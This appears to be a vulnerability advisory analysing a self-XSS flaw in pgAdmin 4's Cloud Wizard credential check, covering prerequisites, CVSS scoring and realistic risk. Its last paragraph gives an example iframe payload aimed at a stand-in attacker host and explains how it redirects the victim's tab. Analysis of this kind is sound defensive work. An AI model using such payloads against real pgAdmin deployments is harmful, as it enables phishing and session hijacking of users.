pgAdmin 4 EUVD-2026-37967

Exploitation requires an authenticated pgAdmin 4 session (confirmed by CVSS PR:L) and active submission of a credential-verification request through the Cloud Wizard UI (confirmed by CVSS UI:A). The Cloud Wizard feature must be enabled and accessible to the user. For the baseline self-XSS case, the attacker and victim must be the same authenticated user, making standalone exploitation useful only for UI manipulation or phishing within the attacker's own pgAdmin session. For cross-user exploitation, an attacker must additionally possess or induce a CSRF primitive capable of submitting a malformed credential request with a valid X-pgA-CSRFToken in the victim's browser - this is a hard prerequisite explicitly documented in the CVE description and is a significant limiting factor. Exploitation does not require any special cloud provider configuration; any attempt to validate credentials against the AWS, Azure, or Google backends triggers the vulnerable error-reflection path.

The CVSS 4.0 score of 4.8 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:A accurately reflects the constrained real-world risk: the attack is network-reachable and low-complexity but requires an authenticated session (PR:L) and active user interaction (UI:A). Impact is rated VI:L with VC:N and VA:N, meaning only a low integrity effect on the vulnerable system and no confidentiality or availability consequences. The critical practical constraint is that baseline exploitation is self-XSS - the attacker and victim are the same authenticated user - which limits security value to social engineering, tab hijacking, or UI redress within that user's own session. Cross-user escalation is possible but requires a separate CSRF primitive capable of injecting a valid X-pgA-CSRFToken, a non-trivial dependency that materially lowers realistic impact in most deployments. No EPSS data was supplied; without it, exploitation probability cannot be quantified. No KEV listing confirms the absence of known active exploitation. Risk is highest in shared multi-user pgAdmin instances accessible to semi-trusted or external parties; single-user or internally-restricted deployments face negligible real-world risk from this issue.

An authenticated pgAdmin user opens the Cloud Wizard and submits a crafted AWS access key value such as '<iframe/src=https://attacker.example/>' to the /rds/verify_credentials/ endpoint. AWS STS returns an IncompleteSignature error quoting the access key verbatim; pgAdmin embeds the unescaped string into the JSON info field; and the Cloud Wizard's FormFooterMessage passes it through html-react-parser, instantiating the iframe in the DOM. JavaScript executing inside the cross-origin iframe calls parent.location to redirect the victim's pgAdmin tab to an attacker-controlled page - bypassing X-Frame-Options and CSP frame-ancestors protections because the injection occurs within pgAdmin's own origin.